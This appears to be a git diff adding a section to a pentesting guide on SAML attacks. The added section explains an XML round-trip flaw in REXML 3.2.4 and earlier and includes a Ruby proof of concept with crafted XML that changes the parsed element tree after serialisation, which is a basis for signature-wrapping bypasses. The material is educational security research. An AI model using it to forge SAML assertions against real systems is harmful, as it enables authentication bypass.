|
10 | 10 |
|
11 | 11 | ## Tool
|
12 | 12 |
|
13 |
| -\*\*\*\*[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL. |
| 13 | +[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL. |
| 14 | + |
| 15 | +## XML round-trip |
| 16 | + |
| 17 | +In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**. |
| 18 | + |
| 19 | +For example, check the following code: |
| 20 | + |
| 21 | +```ruby |
| 22 | +require 'rexml/document' |
| 23 | + |
| 24 | +doc = REXML::Document.new <<XML |
| 25 | +<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]> |
| 26 | +<X> |
| 27 | + <Y/><![CDATA[--><X><Z/><!--]]>--> |
| 28 | +</X> |
| 29 | +XML |
| 30 | + |
| 31 | +puts "First child in original doc: " + doc.root.elements[1].name |
| 32 | +doc = REXML::Document.new doc.to_s |
| 33 | +puts "First child after round-trip: " + doc.root.elements[1].name |
| 34 | +``` |
| 35 | + |
| 36 | +Running the program against REXML 3.2.4 or earlier would result in the following output instead: |
| 37 | + |
| 38 | +```text |
| 39 | +First child in original doc: Y |
| 40 | +First child after round-trip: Z |
| 41 | +``` |
| 42 | + |
| 43 | +This is how REXML saw the original XML document from the program above: |
| 44 | + |
| 45 | + |
| 46 | + |
| 47 | +And this is how it saw it after a round of parsing and serialization: |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | +For more information about the vulnerability and how to abuse it: |
| 52 | + |
| 53 | +* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) |
| 54 | +* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/) |
14 | 55 |
|
15 | 56 | ## XML Signature Wrapping Attacks
|
16 | 57 |
|
|
0 commit comments